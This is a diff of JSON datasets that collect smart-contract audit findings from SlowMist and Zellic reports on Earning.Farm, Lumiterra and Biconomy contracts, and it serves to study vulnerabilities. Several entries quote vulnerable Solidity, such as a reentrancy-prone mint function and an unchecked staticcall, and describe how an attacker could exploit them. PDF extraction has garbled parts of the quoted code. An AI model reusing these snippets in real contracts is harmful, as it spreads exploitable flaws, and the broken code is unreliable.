setMaxDeposit, setMaxWithdraw, setController and setDepositApprover functions respectively. But event logging is not used. In the Controller contract, the owner can modify the vault, apySort, treasury, exchange, withdrawFee, defaultDepositSS and isDefault parameters through the setVault, setAPYSort, setTreasury, setExchange, setWithdrawFee, setDefaultDepositSS and setDefaultOption functions. But event logging is not used. In the contracts under the exchanges folder, the owner can set the exchange contract address through the setExchange function. But event logging is not used. In the contracts under the subStrategies/convex folder, the owner can modify the controller, depositSlippage, pId, lpToken, curvePool, harvestGap, maxDeposit, rewardTokens parameters through the setController, setDepositSlippage, setWithdrawSlippage, setPoolId, setLPToken, setCurvePool, setHarvestGap, setMaxDeposit, addRewardToken and removeRewardToken functions. But event logging is not used. In the cusdc contract, the owner can modify the controller, depositSlippage, withdrawSlippage, harvestGap and maxDeposit parameters through the setController, setDepositSlippage, setWithdrawSlippage, setHarvestGap and setMaxDeposit functions. But event logging is not used. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "AllocPoint deposit issue 28", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the Controller contract, deposits are made according to the allocPoint of each SS, which calculates the number of tokens transferred to each SS through the following algorithm amountForSS = (_amount * subStrategies[i].allocPoint) / totalAllocPoint; However, due to the loss of precision in the division calculation, a small amount of funds cannot be transferred into SS. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "check withdrawal amount issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "After the Controller contract withdraws from SS, it will check whether withdrawAmt is greater than 0. But since the protocol will havest periodically, theoretically withdrawAmt should be greater than or equal to the _amount parameter passed in by the user. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Risks of fake routers", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the Controller contract, the owner role can compound interest through the harvest function. However, it is not checked whether the router list passed in by owner is as expected. If an unexpected router is passed in, it may lead to failure to harvest normally or loss of funds. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Loss of computational precision", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the vault contract, the convertToAssets function is used to convert shares to corresponding asset amounts. 31 However, it performs the calculation by performing the division operation rst and then the multiplication operation, which will result in loss of calculation accuracy. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Risks of strict equality checks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In Convex's SS contract, when the user makes a withdrawal, it is checked whether the LP balance of the current contract is strictly equal to the LP amount required by the user. If a malicious user intentionally transfers any amount of LP tokens to the current contract, this will cause the SS contract to become unusable. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Negative number check issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the Cusdc contract, the _totalAssets function is used to obtain the total collateralized assets. It is calculated by multiplying the number of nTokens held by the protocol by the price of nTokens and dividing the total supply of nTokens. The price of nToken is obtained through the getPresentValueUnderlyingDenominated function, but the return value of the getPresentValueUnderlyingDenominated function is int256, while the return value of the INusdc interface is dened as uint256. If it returns a negative number, it will overow. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the Controller contract, the owner can set allocation point of a sub strategy, register the substrategies to the controller contract and withdraw the assets from one SS and deposit to other SS. This will have an impact on the user's deposit and withdrawal operations. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Code redundancy issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the vault contract, the convertToShares function is dened, but it is not actually used in the contract. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Invalid minimum output calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the SS contract, the calc_token_amount function will be used to calculate the minimum amount of LP tokens received during the deposit operation; the minimum amount of staking tokens received will be calculated through the calc_withdraw_one_coin function during the withdrawal operation. However, the calc_token_amount function and the calc_withdraw_one_coin function are easily aected by the last transaction of CurvePool, so they cannot play the role of slippage protection. Lusd and Tri contracts also have slippage issue, but the slippage check is annotated in the deposit function. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of pid acquisition", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the Alusd contract, the getPID function user obtains the corresponding LP pool address in the ConvexBooster contract. It will return 0 if LpToken does not exist, but pid0 has a value in the ConvexBooster contract. So when getPID returns 0, it will be hard to tell if pid exists. 37 ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Redundant approval issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the swapExactTokenInput function of the Exchange contract, it will rst transfer the tokens that need to be swapped from the controller contract to the router contract. But the swapExactTokenInput function approves the router contract again, which is unnecessary. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect storage of temporary variables", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the router contract, the removePath function is used to remove the swap path recorded in the contract. It will rst store the balancerBatchAssets variable through storage, then delete it, and then use this variable for event recording after deletion. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Compound interest slippage check issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the router contract, no slippage check is performed during the swap operation. If there are more funds with compound interest, there will be a risk of being attacked by sandwiches. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Lack of access control", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "The swap function in the UniswapV3 contract is not subject to permission control, which will allow any user to call it. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Analyzing inaccuracies in reward calculation due to time span misalignment", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/UtilityStake.sol In the _calcClaimableAmount function, if di (the time elapsed since the last reward claim) exceeds timeoutClaimPeriod , then the result of the modulo operation diff % timeoutClaimPeriod , which yields claimD , will be less than the actual time span that should be considered. This leads to an inaccurate calculation of the reward amount. function _calcClaimableAmount( address staker ) internal view returns (uint256) { StakeInfo memory stakeInfo = stakeInfoByStaker[staker]; if (stakeInfo.stakedAmount == 0) { return 0; } if (stakeInfo.latestClaimedAt == 0) { return 0; } if (stakeInfo.latestClaimedAt > block.timestamp) { return 0; } if (totalStakeAmount == 0) { return 0; } if (rate == 0) { return 0; } uint256 diff = block.timestamp - stakeInfo.latestClaimedAt; uint256 claimD = diff % timeoutClaimPeriod; // Avoid delayed on-chain submissions resulting in zero rewards 0 if (diff == timeoutClaimPeriod) { claimD = timeoutClaimPeriod; } uint256 claimableAmount = Math.mulDiv( stakeInfo.stakedAmount * claimD, rate, totalStakeAmount, Math.Rounding.Zero ); return claimableAmount; }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: Medium" + ] + }, + { + "title": "Handling reward calculation issues and function restrictions in reward cycles", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/UtilityStake.sol Users will still be able to use the old rate to calculate rewards and collect them when the next cycle has not yet been set up. This also causes a problem. When there are not enough reward tokens in the pool, users can't use the unstake and stake functions. function _calcClaimableAmount( address staker ) internal view returns (uint256) { StakeInfo memory stakeInfo = stakeInfoByStaker[staker]; if (stakeInfo.stakedAmount == 0) { return 0; } if (stakeInfo.latestClaimedAt == 0) { return 0; } if (stakeInfo.latestClaimedAt > block.timestamp) { return 0; } if (totalStakeAmount == 0) { return 0; } if (rate == 0) { return 0; } uint256 diff = block.timestamp - stakeInfo.latestClaimedAt; uint256 claimD = diff % timeoutClaimPeriod; // Avoid delayed on-chain submissions resulting in zero rewards 0 if (diff == timeoutClaimPeriod) { claimD = timeoutClaimPeriod; } uint256 claimableAmount = Math.mulDiv( stakeInfo.stakedAmount * claimD, rate, totalStakeAmount, Math.Rounding.Zero ); return claimableAmount; }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Addressing overpayment risk in reward distribution due to rate update delays", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/UtilityStake.sol In the current reward mechanism, a signicant issue arises if users claim their rewards after an update to the reward rate. Specically, if a user claims rewards accrued before the rate update, the calculation will be based on the new, potentially higher rate, leading to an overestimation of their rightful reward. This overpayment can deplete the reward pool more rapidly than anticipated, potentially leaving insucient funds for later users. Consequently, this could impede the normal operation of unstake and stake functions, as the reward pool might not sustain the demands. function depositRewardToken(address token, uint256 amount) external { IUtilityToken rewardToken = config.getPRToken(); require(token == address(rewardToken), \"UtilityStake: invalid token\"); rewardToken.transferFrom(msg.sender, address(this), amount); if (block.timestamp >= periodFinish) { rate = amount / periodDuration; } else { uint256 remaining = periodFinish - block.timestamp; uint256 leftover = remaining * rate; rate = (amount + leftover) / periodDuration; } periodFinish = block.timestamp + periodDuration; emit DepositRewardToken(amount); }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: Critical" + ] + }, + { + "title": "Inaccuracies in reward calculation due to misuse of total supply in liquidity pool", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/LiquidityStake.sol In the _checkpoint function, the use of _sc2crvPool().totalSupply() for calculating rewards may lead to inaccuracies. This is because it utilizes the total supply of the entire liquidity pool, rather than the quantity of LP tokens controlled by the contract itself. Indeed, this approach can result in the calculation of rewards being less than what is rightfully due, consequently leading to users receiving fewer rewards than they are actually entitled to. function _checkpoint(address staker) internal { _metaGauge().claim_rewards(); StakeInfo memory stakeInfo = stakeInfoByStaker[staker]; uint256 totalSupplay = _sc2crvPool().totalSupply(); if (totalSupplay == 0) { return; } for (uint256 i = 0; i < MAX_REWARDS; i++) { address tokenAddress = _metaGauge().reward_tokens(i); if (tokenAddress == address(0)) { break; } uint256 dI = 0; uint256 tokenBalance = IERC20Metadata(tokenAddress).balanceOf( address(this) ); dI = (10 ** 18 * (tokenBalance - rewardBalances[tokenAddress])) / totalSupplay; rewardBalances[tokenAddress] = tokenBalance; // integral: uint256 = self.reward_integral[token] + dI uint256 integral = rewardIntegral[tokenAddress] + dI; if (dI != 0) { rewardIntegral[tokenAddress] = integral; } uint256 integralFor = rewardIntegralFor[tokenAddress][staker]; uint256 newClaimable = 0; if (integralFor < integral) { rewardIntegralFor[tokenAddress][staker] = integral; (stakeInfo.totalSC2CRVLP * ((integral - integralFor))) / PRICE_PRECISION; } uint256 claimData = claimDataByStaker[staker][tokenAddress]; uint256 totalClaimable = (claimData >> 128) + newClaimable; if (totalClaimable > 0) { uint256 totalClaimed = claimData % 2 ** 128; claimDataByStaker[staker][tokenAddress] = totalClaimed + (totalClaimable << 128); } } } }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: Critical" + ] + }, + { + "title": "Redundant logic in _setFloorPrice function of smart contract", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/PriceField.sol The else if (_floorPrice == 0) conditional branch in this function will not actually be executed. This is because _floorPrice is set to the new floorPrice_ before any conditional judgment is entered, and floorPrice_ cannot be zero, as veried at the beginning of the function. function _setFloorPrice(uint256 floorPrice_) internal { require(floorPrice_ >= PRICE_PRECISION / 2, \"floor price too low\"); require(floorPrice_ > _floorPrice, \"floor price too low\"); uint256 previousFloorPrice = _floorPrice; uint256 x3 = _config.getUtilityToken().totalSupply(); _floorPrice = floorPrice_; if (x3 > c()) { uint256 maxFloorPrice = (Math.mulDiv( x3 - c(), _slope, PRECENT_DENOMINATOR, Math.Rounding.Zero ) + PRICE_PRECISION) / 2; if (maxFloorPrice > floorPrice_) { _floorPrice = floorPrice_; } } else if (_floorPrice == 0) { //SLOWMIST//will not be implemented _floorPrice = floorPrice_; } else if (x3 > x1(floorPrice_) + _exerciseAmount) { _floorPrice = floorPrice_; } else if (x3 == 0) { _floorPrice = floorPrice_; } require(_floorPrice > previousFloorPrice, \"floor price too low\"); emit UpdateFloorPrice(_floorPrice); }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Potential reentrancy risk in VAMM's _mintByPRToken function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/VAMM.sol The payToken can be passed in arbitrarily from the outside, and if the payToken is a token that implements a callback function, then this call may trigger malicious code.An attacker can exploit this by calling the _mintByPRToken function again during the callback. Since the _mintByPRToken function calls payToken.transferFrom before updating _floorPrice and minting new tokens, a reentry attack could allow an attacker to mint tokens multiple times at the old, more favorable price, rather than at the updated price. This could lead to improper minting of assets. function _mintByPRToken( address payTokenAddress, uint256 mintAmount, uint256 maxPayAmount, address recipient ) internal { IERC20Metadata payToken = IERC20Metadata(payTokenAddress); IUtilityToken _utilityToken = _config.getUtilityToken(); IUtilityToken _prToken = _config.getPRToken(); require(_prToken.balanceOf(msg.sender) >= mintAmount, \"VAMM:mp0\"); require( _prToken.allowance(msg.sender, address(this)) >= mintAmount, \"VAMM:mp1\" ); (uint256 toLiquidityPrice, uint256 fees) = _priceField.getUseFPBuyPrice( mintAmount ); require(toLiquidityPrice + fees <= maxPayAmount, \"VAMM:mp2\"); // Include slippage as fee income fees = maxPayAmount - toLiquidityPrice; //SLOWMIST// uint256 maxPayAmountInPayToken = _convertPrice( maxPayAmount, payToken, true ); _priceField.increaseSupplyWithNoPriceImpact(mintAmount); require( payToken.transferFrom( msg.sender, address(this), maxPayAmountInPayToken ), \"VAMM:mp3\" );//The paytoken is an arbitrary token, so any worthless token can be used as the key to transfer money to the contract. // burn pr token _prToken.burnFrom(msg.sender, mintAmount); _collectFees(fees); /// mint token _totalLiquidity += toLiquidityPrice; _utilityToken.mint(recipient, mintAmount); _deposit(payTokenAddress); _autoUpFP(); emit Mint(recipient, mintAmount, toLiquidityPrice, fees); }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Exploitation risk with arbitrary payToken in VAMM's _mintByPRToken function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/VAMM.sol The payToken can be any token, so it can be used to construct a malicious token to make a payment. function _mintByPRToken( address payTokenAddress, uint256 mintAmount, uint256 maxPayAmount, address recipient ) internal { IERC20Metadata payToken = IERC20Metadata(payTokenAddress); IUtilityToken _utilityToken = _config.getUtilityToken(); IUtilityToken _prToken = _config.getPRToken(); require(_prToken.balanceOf(msg.sender) >= mintAmount, \"VAMM:mp0\"); require( _prToken.allowance(msg.sender, address(this)) >= mintAmount, \"VAMM:mp1\" ); (uint256 toLiquidityPrice, uint256 fees) = _priceField.getUseFPBuyPrice( mintAmount ); require(toLiquidityPrice + fees <= maxPayAmount, \"VAMM:mp2\"); // Include slippage as fee income fees = maxPayAmount - toLiquidityPrice; //SLOWMIST// uint256 maxPayAmountInPayToken = _convertPrice( maxPayAmount, payToken, true ); _priceField.increaseSupplyWithNoPriceImpact(mintAmount); require( payToken.transferFrom( msg.sender, address(this), maxPayAmountInPayToken ), \"VAMM:mp3\" );//The paytoken is an arbitrary token, so any worthless token can be used as the key to transfer money to the contract. // burn pr token _prToken.burnFrom(msg.sender, mintAmount); _collectFees(fees); /// mint token _totalLiquidity += toLiquidityPrice; _utilityToken.mint(recipient, mintAmount); _deposit(payTokenAddress); _autoUpFP(); emit Mint(recipient, mintAmount, toLiquidityPrice, fees); }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Preemptive Initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/LiquidityStake.sol function initialize(IConfig config_) public initializer { __Ownable_init(); __UUPSUpgradeable_init(); _transferOwnership(tx.origin); config = config_; } contracts/UtilityStake.sol function initialize(IConfig config_) public initializer { __Ownable_init(); __UUPSUpgradeable_init(); _transferOwnership(tx.origin); config = config_; unstakeFee = 300000000; periodDuration = 1 weeks; timeoutClaimPeriod = 2 days; } contracts/VAMM.sol function initialize( IConfig config_, PriceField priceField_, uint256 t_, uint256 x_, uint256 c_ ) public initializer { __Ownable_init(); __UUPSUpgradeable_init(); _transferOwnership(tx.origin); _config = config_; _priceField = priceField_; tForMFR = t_; maxTForMFR = 5000000000; minTForMFR = t_; cForMFR = c_; // ethereum block time 13s reduceTBlocks = 6600; xForMFR = x_; }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Race Conditions Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Lacking event logging in critical contract functions alters state without transparency issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/LiquidityStake.sol function setHook(LiquidityStakeHook hook_) external onlyOwner { hook = hook_; } contracts/UtilityStake.sol function setHook(UtilityStakeHook hook_) external onlyOwner { hook = hook_; } contracts/PriceField.sol function increaseSupplyWithNoPriceImpact(uint256 amount) external onlyVamm { _exerciseAmount += amount; } contracts/VAMM.sol function setPriceField(PriceField priceField_) external onlyOwner { _priceField = priceField_; }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Malicious Event Log Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant functions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/VAMM.sol Redundant function code, which can be deleted if it is not useful. function liquidityTesting() external { }", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Missing check return value", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "It is recommended to check the return value of transferFrom, as there may be problems if a non-ERC20 standard token is subsequently used. contracts/UtilityStake.sol line 142: utilityToken.transferFrom(staker, address(this), amount); line 196: stablecoin.transferFrom(staker, address(this), fees); line 287: rewardToken.transferFrom(msg.sender, address(this), amount); contracts/LiquidityStake.sol line 154: stablecoin.transferFrom(staker, address(this), _amount); contracts/VAMM.sol line 504: token.transferFrom(msg.sender, address(this), _repayAmount);", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/VAMM.sol The owner can set the key parameters, if the private key is lost, the price will be out of control. owner can setPriceField operator can updateMFR contracts/UtilityToken.sol The owner can mint the token, if the private key is lost it will cause the token to be incremented. owner can mint owner can transferOwnership Other contracts have key roles and key parameters that are mostly controlled by external config contracts.", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, { "title": "Recommendation to Implement reentrancy", "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", diff --git a/results/zellic_findings.json b/results/zellic_findings.json index 9f1a0f6..70af477 100644 --- a/results/zellic_findings.json +++ b/results/zellic_findings.json @@ -223399,6 +223399,3798 @@ "body": "Target: Secp256r1.sol Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The Secp256r1 module implements critical functionality for signature validation, and it is implemented in a nonstandard and highly optimized way. To ensure that the library works in common cases, edge cases, and invalid cases, it is crucial to have proper test coverage for these types of primitives. There are currently no tests using this library, making it hard to see if it works at all. Missing test cases could lead to critical bugs in the cryptographic primitives. These could lead to, for example, Signature forgery and total account takeover Surprising or very random gas costs Proper signatures not validating, leading to DOS Recovery of private keys in extreme cases. Google has Project Wycheproof, which includes many test vectors for common cryp- tographic libraries and their operations. A good match for this module, which uses Secp256r1 (aka NIST P-256) and 256-bit hashes, is to use the ecdsa_secp256r1_sha25 6_test.json test vectors. Do note that many of these vectors target DER decoding, so it is safe to skip tests tagged \u201cBER\u201d. Additionally, test cases where they use numbers larger than 256 bits can be ignored, as they are invalid in Solidity when using uint256 types. These test vectors can be somewhat easily converted to Solidity library tests, giving hundreds of tests for free. This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 5c5a6bfe. Zellic Biconomy Labs", "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy PasskeyRegistry and SessionKeyManager Zellic Audit Report.pdf" }, + { + "title": "3.4 Modexp has arbitrary gas limit", + "labels": [ + "Zellic" + ], + "body": "Target: Secp256r1.sol Category: Coding Mistakes Likelihood: Medium Severity: High : Medium The Secp256r1 library makes use of the EIP-198 precompile in order to do modular exponentiation. This function is located at address 0x5 and is called near the end of the function. function modexp( uint _base, uint _exp, uint _mod ) internal view returns (uint ret) { /) bigModExp(_base, _exp, _mod); assembly { if gt(_base, _mod) { _base :) mod(_base, _mod) } /) Free memory pointer is always stored at 0x40 let freemem :) mload(0x40) mstore(freemem, 0x20) mstore(add(freemem, 0x20), 0x20) mstore(add(freemem, 0x40), 0x20) mstore(add(freemem, 0x60), _base) mstore(add(freemem, 0x80), _exp) mstore(add(freemem, 0xa0), _mod) let success :) staticcall(1500, 0x5, freemem, 0xc0, freemem, 0x20) switch success case 0 { revert(0x0, 0x0) } default { ret :) mload(freemem) } Zellic Biconomy Labs } } A gas limit of 1,500 is set for this operation. After EIP-2565, the precompile was up- dated to become more optimized and cost less gas. Before this optimization, the gas cost was sometimes very high and often overestimated. The EIP provides a function to calculate the approximate gas cost, and using the parameters from the library, we calculated it to be around 1,360 gas, which is barely within the limit. With EIP-198 pricing, the cost was significantly higher. Some chains have not yet implemented this optimization \u2014 one example being the BNB chain, which plans to implement their equivalent BEP-225 around August 30th, 2023. The standard for signature validation methods, EIP-1271, also states the following: Since there [is] no gas-limit expected for calling the isValidSignature() function, it is possible that some implementation will consume a large amount of gas. It is therefore important to not hardcode an amount of gas sent when calling this method on an external contract as it could prevent the validation of certain sig- natures. On chains without the gas optimization change for the precompile, the contract will either not work or randomly work for certain keys and signatures but not others. In the worst-case scenario, someone could be extremely lucky and manage to transfer money in but not be able to get them out again. The main risk is just the functionality of the module being broken. Provide more or the maximum amount of gas to this function call: let success :) staticcall(not(0), 0x5, freemem, 0xc0, freemem, 0x20) This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 5c5a6bfe. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy PasskeyRegistry and SessionKeyManager Zellic Audit Report.pdf" + }, + { + "title": "3.1 Emergency withdraw functions are missing zero address checks", + "labels": [ + "Zellic" + ], + "body": "Target: BiconomyTokenPaymaster Category: Coding Mistakes Likelihood: Low Severity: Medium : Low The withdrawERC20(), withdrawERC20Full(), withdrawMultipleERC20(), and withdrawM ultipleERC20Full() are emergency withdrawal functions that can be called by the owner to withdraw ERC20 tokens that were mistakenly sent to the Paymaster con- tract. These tokens are withdrawn to a specified target address. The emergency withdraw functions are missing zero address checks for the target address that the tokens will be withdrawn to. If the owner attempts to withdraw a substantial amount of tokens and accidentally sets target to address(0), the tokens will be lost forever. Consider adding in checks to ensure that target is not equal to address(0). This has already been done in the withdrawAllNative() function. Biconomy Labs implemented a fix for this issue in commit a88357ef2. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Token Paymaster - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Paymaster data is parsed without performing a length check", + "labels": [ + "Zellic" + ], + "body": "Target: BiconomyTokenPaymaster Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The parsePaymasterAndData() function is used to parse the UserOperation structure\u2019s paymasterAndData field. The paymasterAndData field can contain data in any format, with the format being defined by the Paymaster itself. The function does not perform any length checks on the paymasterAndData field before attempting to parse it. function parsePaymasterAndData( bytes calldata paymasterAndData ) public pure returns (/) ...)) *)) { } /) [ ...)) ] (/) ...)) *)) = abi.decode( paymasterAndData[VALID_PND_OFFSET:SIGNATURE_OFFSET], (uint48, uint48, address, address, uint256, uint256) ); signature = paymasterAndData[SIGNATURE_OFFSET:]; In the above case, VALID_PND_OFFSET is 21, while SIGNATURE_OFFSET is 213. If the paymas terAndData structure does not contain at least that many bytes in it, then the function will revert. As this field is fully controllable by a user through the UserOperation structure, and the parsing is done prior to the signature check in _validatePaymasterUserOp(), this would allow a user to trigger reverts, which would cause the Entrypoint contract that\u2019s calling into _validatePaymasterUserOp() to waste gas. Zellic Biconomy Labs Consider adding a check to ensure that the paymasterAndData structure has the correct length. If it does not, consider returning an error to allow the Entrypoint contract to ignore this UserOperation and continue. Biconomy Labs implemented a fix for this issue in commit 6787a366. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Token Paymaster - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Function _getTokenPrice() could return unexpected value", + "labels": [ + "Zellic" + ], + "body": "Target: ChainlinkOracleAggregator.sol Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The _getTokenPrice() function in the ChainlinkOracleAggregator contract performs an external staticcall to fetch the price of the specified token. function _getTokenPrice( address token ) internal view returns (uint256 tokenPriceUnadjusted) { (bool success, bytes memory ret) = tokensInfo[token] .callAddress .staticcall(tokensInfo[token].callData); if (tokensInfo[token].dataSigned) { tokenPriceUnadjusted = uint256(abi.decode(ret, (int256))); } else { tokenPriceUnadjusted = abi.decode(ret, (uint256)); } } The return value success of the staticcall is not checked, which leads to the pos- sibility that when success =) false, the function return value tokenPriceUnadjusted could be zero. This could cause the caller function getTokenValueOfOneNativeToken to calculate the exchangeRate incorrectly, which would ultimately affect the result of exchangePrice. This could potentially lead to unexpected bugs in the future. Consider checking the value of success, or check the return value at the caller\u2019s side. Biconomy Labs implemented a fix for this issue in commit ca06c2a4. Zellic Biconomy Labs 4 Threat Model This provides a full threat model description for various functions. As time permitted, we analyzed each function in the smart contracts and created a written threat model for some critical functions. A threat model documents a given function\u2019s externally controllable inputs and how an attacker could leverage each input to cause harm. Not all functions in the audit scope may have been modeled. The absence of a threat model in this section does not necessarily suggest that a function is safe.", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Token Paymaster - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: BiconomyTokenPaymaster.sol Function: parsePaymasterAndData(byte[] paymasterAndData) This function is used to parse the paymasterAndData field of the UserOperation struct. Inputs", + "labels": [ + "Zellic" + ], + "body": "paymasterAndData \u2013 Control: Fully controlled by user. \u2013 Constraints: It must be data in a valid format, where the data from the VALID_PND_OFFSET-1 to the VALID_PND_OFFSET should represent the priceSo urce. The data from the VALID_PND_OFFSET to the SIGNATURE_OFFSET is the ABI-encoded validUntil, validAfter, feeToken, oracleAggregator, exchan geRate, and fee. Data following the 